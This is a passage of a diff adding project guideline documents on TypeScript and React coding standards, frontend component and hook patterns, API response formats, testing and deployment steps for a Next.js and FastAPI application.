+    }
+
+    return await response.json()
+  } catch (error) {
+    console.error('Fetch failed:', error)
+    throw new Error('Failed to fetch data')
+  }
+}
+
+// ❌ BAD: No error handling
+async function fetchData(url) {
+  const response = await fetch(url)
+  return response.json()
+}
+```
+
+### Async/Await Best Practices
+
+```typescript
+// ✅ GOOD: Parallel execution when possible
+const [users, markets, stats] = await Promise.all([
+  fetchUsers(),
+  fetchMarkets(),
+  fetchStats()
+])
+
+// ❌ BAD: Sequential when unnecessary
+const users = await fetchUsers()
+const markets = await fetchMarkets()
+const stats = await fetchStats()
+```
+
+### Type Safety
+
+```typescript
+// ✅ GOOD: Proper types
+interface Market {
+  id: string
+  name: string
+  status: 'active' | 'resolved' | 'closed'
+  created_at: Date
+}
+
+function getMarket(id: string): Promise<Market> {
+  // Implementation
+}
+
+// ❌ BAD: Using 'any'
+function getMarket(id: any): Promise<any> {
+  // Implementation
+}
+```
+
+## React Best Practices
+
+### Component Structure
+
+```typescript
+// ✅ GOOD: Functional component with types
+interface ButtonProps {
+  children: React.ReactNode
+  onClick: () => void
+  disabled?: boolean
+  variant?: 'primary' | 'secondary'
+}
+
+export function Button({
+  children,
+  onClick,
+  disabled = false,
+  variant = 'primary'
+}: ButtonProps) {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled}
+      className={`btn btn-${variant}`}
+    >
+      {children}
+    </button>
+  )
+}
+
+// ❌ BAD: No types, unclear structure
+export function Button(props) {
+  return <button onClick={props.onClick}>{props.children}</button>
+}
+```
+
+### Custom Hooks
+
+```typescript
+// ✅ GOOD: Reusable custom hook
+export function useDebounce<T>(value: T, delay: number): T {
+  const [debouncedValue, setDebouncedValue] = useState<T>(value)
+
+  useEffect(() => {
+    const handler = setTimeout(() => {
+      setDebouncedValue(value)
+    }, delay)
+
+    return () => clearTimeout(handler)
+  }, [value, delay])
+
+  return debouncedValue
+}
+
+// Usage
+const debouncedQuery = useDebounce(searchQuery, 500)
+```
+
+### State Management
+
+```typescript
+// ✅ GOOD: Proper state updates
+const [count, setCount] = useState(0)
+
+// Functional update for state based on previous state
+setCount(prev => prev + 1)
+
+// ❌ BAD: Direct state reference
+setCount(count + 1)  // Can be stale in async scenarios
+```
+
+### Conditional Rendering
+
+```typescript
+// ✅ GOOD: Clear conditional rendering
+{isLoading && <Spinner />}
+{error && <ErrorMessage error={error} />}
+{data && <DataDisplay data={data} />}
+
+// ❌ BAD: Ternary hell
+{isLoading ? <Spinner /> : error ? <ErrorMessage error={error} /> : data ? <DataDisplay data={data} /> : null}
+```
+
+## API Design Standards
+
+### REST API Conventions
+
+```
+GET    /api/markets              # List all markets
+GET    /api/markets/:id          # Get specific market
+POST   /api/markets              # Create new market
+PUT    /api/markets/:id          # Update market (full)
+PATCH  /api/markets/:id          # Update market (partial)
+DELETE /api/markets/:id          # Delete market
+
+# Query parameters for filtering
+GET /api/markets?status=active&limit=10&offset=0
+```
+
+### Response Format
+
+```typescript
+// ✅ GOOD: Consistent response structure
+interface ApiResponse<T> {
+  success: boolean
+  data?: T
+  error?: string
+  meta?: {
+    total: number
+    page: number
+    limit: number
+  }
+}
+
+// Success response
+return NextResponse.json({
+  success: true,
+  data: markets,
+  meta: { total: 100, page: 1, limit: 10 }
+})
+
+// Error response
+return NextResponse.json({
+  success: false,
+  error: 'Invalid request'
+}, { status: 400 })
+```
+
+### Input Validation
+
+```typescript
+import { z } from 'zod'
+
+// ✅ GOOD: Schema validation
+const CreateMarketSchema = z.object({
+  name: z.string().min(1).max(200),
+  description: z.string().min(1).max(2000),
+  endDate: z.string().datetime(),
+  categories: z.array(z.string()).min(1)
+})
+
+export async function POST(request: Request) {
+  const body = await request.json()
+
+  try {
+    const validated = CreateMarketSchema.parse(body)
+    // Proceed with validated data
+  } catch (error) {
+    if (error instanceof z.ZodError) {
+      return NextResponse.json({
+        success: false,
+        error: 'Validation failed',
+        details: error.errors
+      }, { status: 400 })
+    }
+  }
+}
+```
+
+## File Organization
+
+### Project Structure
+
+```
+src/
+├── app/                    # Next.js App Router
+│   ├── api/               # API routes

+types/market.types.ts         # camelCase with .types suffix
+```
+
+## Comments & Documentation
+
+### When to Comment
+
+```typescript
+// ✅ GOOD: Explain WHY, not WHAT
+// Use exponential backoff to avoid overwhelming the API during outages
+const delay = Math.min(1000 * Math.pow(2, retryCount), 30000)
+
+// Deliberately using mutation here for performance with large arrays
+items.push(newItem)
+
+// ❌ BAD: Stating the obvious
+// Increment counter by 1
+count++
+
+// Set name to user's name
+name = user.name
+```
+
+### JSDoc for Public APIs
+
+```typescript
+/**
+ * Searches markets using semantic similarity.
+ *
+ * @param query - Natural language search query
+ * @param limit - Maximum number of results (default: 10)
+ * @returns Array of markets sorted by similarity score
+ * @throws {Error} If OpenAI API fails or Redis unavailable
+ *
+ * @example
+ * ```typescript
+ * const results = await searchMarkets('election', 5)
+ * console.log(results[0].name) // "Trump vs Biden"
+ * ```
+ */
+export async function searchMarkets(
+  query: string,
+  limit: number = 10
+): Promise<Market[]> {
+  // Implementation
+}
+```
+
+## Performance Best Practices
+
+### Memoization
+
+```typescript
+import { useMemo, useCallback } from 'react'
+
+// ✅ GOOD: Memoize expensive computations
+const sortedMarkets = useMemo(() => {
+  return markets.sort((a, b) => b.volume - a.volume)
+}, [markets])
+
+// ✅ GOOD: Memoize callbacks
+const handleSearch = useCallback((query: string) => {
+  setSearchQuery(query)
+}, [])
+```
+
+### Lazy Loading
+
+```typescript
+import { lazy, Suspense } from 'react'
+
+// ✅ GOOD: Lazy load heavy components
+const HeavyChart = lazy(() => import('./HeavyChart'))
+
+export function Dashboard() {
+  return (
+    <Suspense fallback={<Spinner />}>
+      <HeavyChart />
+    </Suspense>
+  )
+}
+```
+
+### Database Queries
+
+```typescript
+// ✅ GOOD: Select only needed columns
+const { data } = await supabase
+  .from('markets')
+  .select('id, name, status')
+  .limit(10)
+
+// ❌ BAD: Select everything
+const { data } = await supabase
+  .from('markets')
+  .select('*')
+```
+
+## Testing Standards
+
+### Test Structure (AAA Pattern)
+
+```typescript
+test('calculates similarity correctly', () => {
+  // Arrange
+  const vector1 = [1, 0, 0]
+  const vector2 = [0, 1, 0]
+
+  // Act
+  const similarity = calculateCosineSimilarity(vector1, vector2)
+
+  // Assert
+  expect(similarity).toBe(0)
+})
+```
+
+### Test Naming
+
+```typescript
+// ✅ GOOD: Descriptive test names
+test('returns empty array when no markets match query', () => { })
+test('throws error when OpenAI API key is missing', () => { })
+test('falls back to substring search when Redis unavailable', () => { })
+
+// ❌ BAD: Vague test names
+test('works', () => { })
+test('test search', () => { })
+```
+
+## Code Smell Detection
+
+Watch for these anti-patterns:
+
+### 1. Long Functions
+```typescript
+// ❌ BAD: Function > 50 lines
+function processMarketData() {
+  // 100 lines of code
+}
+
+// ✅ GOOD: Split into smaller functions
+function processMarketData() {
+  const validated = validateData()
+  const transformed = transformData(validated)
+  return saveData(transformed)
+}
+```
+
+### 2. Deep Nesting
+```typescript
+// ❌ BAD: 5+ levels of nesting
+if (user) {
+  if (user.isAdmin) {
+    if (market) {
+      if (market.isActive) {
+        if (hasPermission) {
+          // Do something
+        }
+      }
+    }
+  }
+}
+
+// ✅ GOOD: Early returns
+if (!user) return
+if (!user.isAdmin) return
+if (!market) return
+if (!market.isActive) return
+if (!hasPermission) return
+
+// Do something
+```
+
+### 3. Magic Numbers
+```typescript
+// ❌ BAD: Unexplained numbers
+if (retryCount > 3) { }
+setTimeout(callback, 500)
+
+// ✅ GOOD: Named constants
+const MAX_RETRIES = 3
+const DEBOUNCE_DELAY_MS = 500
+
+if (retryCount > MAX_RETRIES) { }
+setTimeout(callback, DEBOUNCE_DELAY_MS)
+```
+
+**Remember**: Code quality is not negotiable. Clear, maintainable code enables rapid development and confident refactoring.

+# Frontend Development Patterns
+
+Modern frontend patterns for React, Next.js, and performant user interfaces.
+
+## Component Patterns
+
+### Composition Over Inheritance
+
+```typescript
+// ✅ GOOD: Component composition
+interface CardProps {
+  children: React.ReactNode
+  variant?: 'default' | 'outlined'
+}
+
+export function Card({ children, variant = 'default' }: CardProps) {
+  return <div className={`card card-${variant}`}>{children}</div>
+}
+
+export function CardHeader({ children }: { children: React.ReactNode }) {
+  return <div className="card-header">{children}</div>
+}
+
+export function CardBody({ children }: { children: React.ReactNode }) {
+  return <div className="card-body">{children}</div>
+}
+
+// Usage
+<Card>
+  <CardHeader>Title</CardHeader>
+  <CardBody>Content</CardBody>
+</Card>
+```
+
+### Compound Components
+
+```typescript
+interface TabsContextValue {
+  activeTab: string
+  setActiveTab: (tab: string) => void
+}
+
+const TabsContext = createContext<TabsContextValue | undefined>(undefined)
+
+export function Tabs({ children, defaultTab }: {
+  children: React.ReactNode
+  defaultTab: string
+}) {
+  const [activeTab, setActiveTab] = useState(defaultTab)
+
+  return (
+    <TabsContext.Provider value={{ activeTab, setActiveTab }}>
+      {children}
+    </TabsContext.Provider>
+  )
+}
+
+export function TabList({ children }: { children: React.ReactNode }) {
+  return <div className="tab-list">{children}</div>
+}
+
+export function Tab({ id, children }: { id: string, children: React.ReactNode }) {
+  const context = useContext(TabsContext)
+  if (!context) throw new Error('Tab must be used within Tabs')
+
+  return (
+    <button
+      className={context.activeTab === id ? 'active' : ''}
+      onClick={() => context.setActiveTab(id)}
+    >
+      {children}
+    </button>
+  )
+}
+
+// Usage
+<Tabs defaultTab="overview">
+  <TabList>
+    <Tab id="overview">Overview</Tab>
+    <Tab id="details">Details</Tab>
+  </TabList>
+</Tabs>
+```
+
+### Render Props Pattern
+
+```typescript
+interface DataLoaderProps<T> {
+  url: string
+  children: (data: T | null, loading: boolean, error: Error | null) => React.ReactNode
+}
+
+export function DataLoader<T>({ url, children }: DataLoaderProps<T>) {
+  const [data, setData] = useState<T | null>(null)
+  const [loading, setLoading] = useState(true)
+  const [error, setError] = useState<Error | null>(null)
+
+  useEffect(() => {
+    fetch(url)
+      .then(res => res.json())
+      .then(setData)
+      .catch(setError)
+      .finally(() => setLoading(false))
+  }, [url])
+
+  return <>{children(data, loading, error)}</>
+}
+
+// Usage
+<DataLoader<Market[]> url="/api/markets">
+  {(markets, loading, error) => {
+    if (loading) return <Spinner />
+    if (error) return <Error error={error} />
+    return <MarketList markets={markets!} />
+  }}
+</DataLoader>
+```
+
+## Custom Hooks Patterns
+
+### State Management Hook
+
+```typescript
+export function useToggle(initialValue = false): [boolean, () => void] {
+  const [value, setValue] = useState(initialValue)
+
+  const toggle = useCallback(() => {
+    setValue(v => !v)
+  }, [])
+
+  return [value, toggle]
+}
+
+// Usage
+const [isOpen, toggleOpen] = useToggle()
+```
+
+### Async Data Fetching Hook
+
+```typescript
+interface UseQueryOptions<T> {
+  onSuccess?: (data: T) => void
+  onError?: (error: Error) => void
+  enabled?: boolean
+}
+
+export function useQuery<T>(
+  key: string,
+  fetcher: () => Promise<T>,
+  options?: UseQueryOptions<T>
+) {
+  const [data, setData] = useState<T | null>(null)
+  const [error, setError] = useState<Error | null>(null)
+  const [loading, setLoading] = useState(false)
+
+  const refetch = useCallback(async () => {
+    setLoading(true)
+    setError(null)
+
+    try {
+      const result = await fetcher()
+      setData(result)
+      options?.onSuccess?.(result)
+    } catch (err) {
+      const error = err as Error
+      setError(error)
+      options?.onError?.(error)
+    } finally {
+      setLoading(false)
+    }
+  }, [fetcher, options])
+
+  useEffect(() => {
+    if (options?.enabled !== false) {
+      refetch()
+    }
+  }, [key, refetch, options?.enabled])
+
+  return { data, error, loading, refetch }
+}
+
+// Usage
+const { data: markets, loading, error, refetch } = useQuery(
+  'markets',
+  () => fetch('/api/markets').then(r => r.json()),
+  {
+    onSuccess: data => console.log('Fetched', data.length, 'markets'),
+    onError: err => console.error('Failed:', err)
+  }
+)
+```
+
+### Debounce Hook
+
+```typescript
+export function useDebounce<T>(value: T, delay: number): T {
+  const [debouncedValue, setDebouncedValue] = useState<T>(value)
+
+  useEffect(() => {
+    const handler = setTimeout(() => {
+      setDebouncedValue(value)
+    }, delay)
+
+    return () => clearTimeout(handler)
+  }, [value, delay])
+
+  return debouncedValue
+}
+
+// Usage
+const [searchQuery, setSearchQuery] = useState('')
+const debouncedQuery = useDebounce(searchQuery, 500)
+
+useEffect(() => {
+  if (debouncedQuery) {
+    performSearch(debouncedQuery)
+  }
+}, [debouncedQuery])
+```
+
+## State Management Patterns
+
+### Context + Reducer Pattern
+
+```typescript
+interface State {
+  markets: Market[]
+  selectedMarket: Market | null
+  loading: boolean
+}
+
+type Action =
+  | { type: 'SET_MARKETS'; payload: Market[] }
+  | { type: 'SELECT_MARKET'; payload: Market }
+  | { type: 'SET_LOADING'; payload: boolean }
+
+function reducer(state: State, action: Action): State {
+  switch (action.type) {
+    case 'SET_MARKETS':
+      return { ...state, markets: action.payload }
+    case 'SELECT_MARKET':
+      return { ...state, selectedMarket: action.payload }
+    case 'SET_LOADING':
+      return { ...state, loading: action.payload }
+    default:
+      return state
+  }
+}
+
+const MarketContext = createContext<{
+  state: State
+  dispatch: Dispatch<Action>
+} | undefined>(undefined)
+
+export function MarketProvider({ children }: { children: React.ReactNode }) {
+  const [state, dispatch] = useReducer(reducer, {
+    markets: [],
+    selectedMarket: null,
+    loading: false
+  })
+
+  return (
+    <MarketContext.Provider value={{ state, dispatch }}>
+      {children}
+    </MarketContext.Provider>
+  )
+}
+
+export function useMarkets() {
+  const context = useContext(MarketContext)
+  if (!context) throw new Error('useMarkets must be used within MarketProvider')
+  return context
+}
+```
+
+## Performance Optimization
+
+### Memoization
+
+```typescript
+// ✅ useMemo for expensive computations
+const sortedMarkets = useMemo(() => {
+  return markets.sort((a, b) => b.volume - a.volume)
+}, [markets])
+
+// ✅ useCallback for functions passed to children
+const handleSearch = useCallback((query: string) => {
+  setSearchQuery(query)
+}, [])
+
+// ✅ React.memo for pure components
+export const MarketCard = React.memo<MarketCardProps>(({ market }) => {
+  return (
+    <div className="market-card">
+      <h3>{market.name}</h3>
+      <p>{market.description}</p>
+    </div>
+  )
+})
+```
+
+### Code Splitting & Lazy Loading
+
+```typescript
+import { lazy, Suspense } from 'react'
+
+// ✅ Lazy load heavy components
+const HeavyChart = lazy(() => import('./HeavyChart'))
+const ThreeJsBackground = lazy(() => import('./ThreeJsBackground'))
+
+export function Dashboard() {
+  return (
+    <div>
+      <Suspense fallback={<ChartSkeleton />}>
+        <HeavyChart data={data} />
+      </Suspense>
+
+      <Suspense fallback={null}>
+        <ThreeJsBackground />
+      </Suspense>
+    </div>
+  )
+}
+```
+
+### Virtualization for Long Lists
+
+```typescript
+import { useVirtualizer } from '@tanstack/react-virtual'
+
+export function VirtualMarketList({ markets }: { markets: Market[] }) {
+  const parentRef = useRef<HTMLDivElement>(null)
+
+  const virtualizer = useVirtualizer({
+    count: markets.length,
+    getScrollElement: () => parentRef.current,
+    estimateSize: () => 100,  // Estimated row height
+    overscan: 5  // Extra items to render
+  })
+
+  return (
+    <div ref={parentRef} style={{ height: '600px', overflow: 'auto' }}>
+      <div
+        style={{
+          height: `${virtualizer.getTotalSize()}px`,
+          position: 'relative'
+        }}
+      >
+        {virtualizer.getVirtualItems().map(virtualRow => (
+          <div
+            key={virtualRow.index}
+            style={{
+              position: 'absolute',
+              top: 0,
+              left: 0,
+              width: '100%',
+              height: `${virtualRow.size}px`,
+              transform: `translateY(${virtualRow.start}px)`
+            }}
+          >
+            <MarketCard market={markets[virtualRow.index]} />
+          </div>
+        ))}
+      </div>
+    </div>
+  )
+}
+```
+
+## Form Handling Patterns
+
+### Controlled Form with Validation
+
+```typescript
+interface FormData {
+  name: string
+  description: string
+  endDate: string
+}
+
+interface FormErrors {
+  name?: string
+  description?: string
+  endDate?: string
+}
+
+export function CreateMarketForm() {
+  const [formData, setFormData] = useState<FormData>({
+    name: '',
+    description: '',
+    endDate: ''
+  })
+
+  const [errors, setErrors] = useState<FormErrors>({})
+
+  const validate = (): boolean => {
+    const newErrors: FormErrors = {}
+
+    if (!formData.name.trim()) {
+      newErrors.name = 'Name is required'
+    } else if (formData.name.length > 200) {
+      newErrors.name = 'Name must be under 200 characters'
+    }
+
+    if (!formData.description.trim()) {
+      newErrors.description = 'Description is required'
+    }
+
+    if (!formData.endDate) {
+      newErrors.endDate = 'End date is required'
+    }
+
+    setErrors(newErrors)
+    return Object.keys(newErrors).length === 0
+  }
+
+  const handleSubmit = async (e: React.FormEvent) => {
+    e.preventDefault()
+
+    if (!validate()) return
+
+    try {
+      await createMarket(formData)
+      // Success handling
+    } catch (error) {
+      // Error handling
+    }
+  }
+
+  return (
+    <form onSubmit={handleSubmit}>
+      <input
+        value={formData.name}
+        onChange={e => setFormData(prev => ({ ...prev, name: e.target.value }))}
+        placeholder="Market name"
+      />
+      {errors.name && <span className="error">{errors.name}</span>}
+
+      {/* Other fields */}
+
+      <button type="submit">Create Market</button>
+    </form>
+  )
+}
+```
+
+## Error Boundary Pattern
+
+```typescript
+interface ErrorBoundaryState {
+  hasError: boolean
+  error: Error | null
+}
+
+export class ErrorBoundary extends React.Component<
+  { children: React.ReactNode },
+  ErrorBoundaryState
+> {
+  state: ErrorBoundaryState = {
+    hasError: false,
+    error: null
+  }
+
+  static getDerivedStateFromError(error: Error): ErrorBoundaryState {
+    return { hasError: true, error }
+  }
+
+  componentDidCatch(error: Error, errorInfo: React.ErrorInfo) {
+    console.error('Error boundary caught:', error, errorInfo)
+  }
+
+  render() {
+    if (this.state.hasError) {
+      return (
+        <div className="error-fallback">
+          <h2>Something went wrong</h2>
+          <p>{this.state.error?.message}</p>
+          <button onClick={() => this.setState({ hasError: false })}>
+            Try again
+          </button>
+        </div>
+      )
+    }
+
+    return this.props.children
+  }
+}
+
+// Usage
+<ErrorBoundary>
+  <App />
+</ErrorBoundary>
+```
+
+## Animation Patterns
+
+### Framer Motion Animations
+
+```typescript
+import { motion, AnimatePresence } from 'framer-motion'
+
+// ✅ List animations
+export function AnimatedMarketList({ markets }: { markets: Market[] }) {
+  return (
+    <AnimatePresence>
+      {markets.map(market => (
+        <motion.div
+          key={market.id}
+          initial={{ opacity: 0, y: 20 }}
+          animate={{ opacity: 1, y: 0 }}
+          exit={{ opacity: 0, y: -20 }}
+          transition={{ duration: 0.3 }}
+        >
+          <MarketCard market={market} />
+        </motion.div>
+      ))}
+    </AnimatePresence>
+  )
+}
+
+// ✅ Modal animations
+export function Modal({ isOpen, onClose, children }: ModalProps) {
+  return (
+    <AnimatePresence>
+      {isOpen && (
+        <>
+          <motion.div
+            className="modal-overlay"
+            initial={{ opacity: 0 }}
+            animate={{ opacity: 1 }}
+            exit={{ opacity: 0 }}
+            onClick={onClose}
+          />
+          <motion.div
+            className="modal-content"
+            initial={{ opacity: 0, scale: 0.9, y: 20 }}
+            animate={{ opacity: 1, scale: 1, y: 0 }}
+            exit={{ opacity: 0, scale: 0.9, y: 20 }}
+          >
+            {children}
+          </motion.div>
+        </>
+      )}
+    </AnimatePresence>
+  )
+}
+```
+
+## Accessibility Patterns
+
+### Keyboard Navigation
+
+```typescript
+export function Dropdown({ options, onSelect }: DropdownProps) {
+  const [isOpen, setIsOpen] = useState(false)
+  const [activeIndex, setActiveIndex] = useState(0)
+
+  const handleKeyDown = (e: React.KeyboardEvent) => {
+    switch (e.key) {
+      case 'ArrowDown':
+        e.preventDefault()
+        setActiveIndex(i => Math.min(i + 1, options.length - 1))
+        break
+      case 'ArrowUp':
+        e.preventDefault()
+        setActiveIndex(i => Math.max(i - 1, 0))
+        break
+      case 'Enter':
+        e.preventDefault()
+        onSelect(options[activeIndex])
+        setIsOpen(false)
+        break
+      case 'Escape':
+        setIsOpen(false)
+        break
+    }
+  }
+
+  return (
+    <div
+      role="combobox"
+      aria-expanded={isOpen}
+      aria-haspopup="listbox"
+      onKeyDown={handleKeyDown}
+    >
+      {/* Dropdown implementation */}
+    </div>
+  )
+}
+```
+
+### Focus Management
+
+```typescript
+export function Modal({ isOpen, onClose, children }: ModalProps) {
+  const modalRef = useRef<HTMLDivElement>(null)
+  const previousFocusRef = useRef<HTMLElement | null>(null)
+
+  useEffect(() => {
+    if (isOpen) {
+      // Save currently focused element
+      previousFocusRef.current = document.activeElement as HTMLElement
+
+      // Focus modal
+      modalRef.current?.focus()
+    } else {
+      // Restore focus when closing
+      previousFocusRef.current?.focus()
+    }
+  }, [isOpen])
+
+  return isOpen ? (
+    <div
+      ref={modalRef}
+      role="dialog"
+      aria-modal="true"
+      tabIndex={-1}
+      onKeyDown={e => e.key === 'Escape' && onClose()}
+    >
+      {children}
+    </div>
+  ) : null
+}
+```

+
+## Code Patterns
+
+### API Response Format (FastAPI)
+
+```python
+from pydantic import BaseModel
+from typing import Generic, TypeVar, Optional
+
+T = TypeVar('T')
+
+class ApiResponse(BaseModel, Generic[T]):
+    success: bool
+    data: Optional[T] = None
+    error: Optional[str] = None
+
+    @classmethod
+    def ok(cls, data: T) -> "ApiResponse[T]":
+        return cls(success=True, data=data)
+
+    @classmethod
+    def fail(cls, error: str) -> "ApiResponse[T]":
+        return cls(success=False, error=error)
+```
+
+### Frontend API Calls (TypeScript)
+
+```typescript
+interface ApiResponse<T> {
+  success: boolean
+  data?: T
+  error?: string
+}
+
+async function fetchApi<T>(
+  endpoint: string,
+  options?: RequestInit
+): Promise<ApiResponse<T>> {
+  try {
+    const response = await fetch(`/api${endpoint}`, {
+      ...options,
+      headers: {
+        'Content-Type': 'application/json',
+        ...options?.headers,
+      },
+    })
+
+    if (!response.ok) {
+      return { success: false, error: `HTTP ${response.status}` }
+    }
+
+    return await response.json()
+  } catch (error) {
+    return { success: false, error: String(error) }
+  }
+}
+```
+
+### Claude AI Integration (Structured Output)
+
+```python
+from anthropic import Anthropic
+from pydantic import BaseModel
+
+class AnalysisResult(BaseModel):
+    summary: str
+    key_points: list[str]
+    confidence: float
+
+async def analyze_with_claude(content: str) -> AnalysisResult:
+    client = Anthropic()
+
+    response = client.messages.create(
+        model="claude-sonnet-4-5-20250514",
+        max_tokens=1024,
+        messages=[{"role": "user", "content": content}],
+        tools=[{
+            "name": "provide_analysis",
+            "description": "Provide structured analysis",
+            "input_schema": AnalysisResult.model_json_schema()
+        }],
+        tool_choice={"type": "tool", "name": "provide_analysis"}
+    )
+
+    # Extract tool use result
+    tool_use = next(
+        block for block in response.content
+        if block.type == "tool_use"
+    )
+
+    return AnalysisResult(**tool_use.input)
+```
+
+### Custom Hooks (React)
+
+```typescript
+import { useState, useCallback } from 'react'
+
+interface UseApiState<T> {
+  data: T | null
+  loading: boolean
+  error: string | null
+}
+
+export function useApi<T>(
+  fetchFn: () => Promise<ApiResponse<T>>
+) {
+  const [state, setState] = useState<UseApiState<T>>({
+    data: null,
+    loading: false,
+    error: null,
+  })
+
+  const execute = useCallback(async () => {
+    setState(prev => ({ ...prev, loading: true, error: null }))
+
+    const result = await fetchFn()
+
+    if (result.success) {
+      setState({ data: result.data!, loading: false, error: null })
+    } else {
+      setState({ data: null, loading: false, error: result.error! })
+    }
+  }, [fetchFn])
+
+  return { ...state, execute }
+}
+```
+
+---
+
+## Testing Requirements
+
+### Backend (pytest)
+
+```bash
+# Run all tests
+poetry run pytest tests/
+
+# Run with coverage
+poetry run pytest tests/ --cov=. --cov-report=html
+
+# Run specific test file
+poetry run pytest tests/test_auth.py -v
+```
+
+**Test structure:**
+```python
+import pytest
+from httpx import AsyncClient
+from main import app
+
+@pytest.fixture
+async def client():
+    async with AsyncClient(app=app, base_url="http://test") as ac:
+        yield ac

+### Frontend (React Testing Library)
+
+```bash
+# Run tests
+npm run test
+
+# Run with coverage
+npm run test -- --coverage
+
+# Run E2E tests
+npm run test:e2e
+```
+
+**Test structure:**
+```typescript
+import { render, screen, fireEvent } from '@testing-library/react'
+import { WorkspacePanel } from './WorkspacePanel'
+
+describe('WorkspacePanel', () => {
+  it('renders workspace correctly', () => {
+    render(<WorkspacePanel />)
+    expect(screen.getByRole('main')).toBeInTheDocument()
+  })
+
+  it('handles session creation', async () => {
+    render(<WorkspacePanel />)
+    fireEvent.click(screen.getByText('New Session'))
+    expect(await screen.findByText('Session created')).toBeInTheDocument()
+  })
+})
+```

+## Deployment Workflow
+
+### Pre-Deployment Checklist
+
+- [ ] All tests passing locally
+- [ ] `npm run build` succeeds (frontend)
+- [ ] `poetry run pytest` passes (backend)
+- [ ] No hardcoded secrets
+- [ ] Environment variables documented
+- [ ] Database migrations ready
+
+### Deployment Commands
+
+```bash
+# Build and deploy frontend
+cd frontend && npm run build
+gcloud run deploy frontend --source .
+
+# Build and deploy backend
+cd backend
+gcloud run deploy backend --source .
+```
+
+### Environment Variables
+
+```bash
+# Frontend (.env.local)
+NEXT_PUBLIC_API_URL=https://api.example.com
+NEXT_PUBLIC_SUPABASE_URL=https://xxx.supabase.co
+NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJ...
+
+# Backend (.env)
+DATABASE_URL=postgresql://...
+ANTHROPIC_API_KEY=sk-ant-...
+SUPABASE_URL=https://xxx.supabase.co
+SUPABASE_KEY=eyJ...
+```

+
+## Critical Rules
+
+1. **No emojis** in code, comments, or documentation
+2. **Immutability** - never mutate objects or arrays
+3. **TDD** - write tests before implementation
+4. **80% coverage** minimum
+5. **Many small files** - 200-400 lines typical, 800 max
+6. **No console.log** in production code
+7. **Proper error handling** with try/catch
+8. **Input validation** with Pydantic/Zod
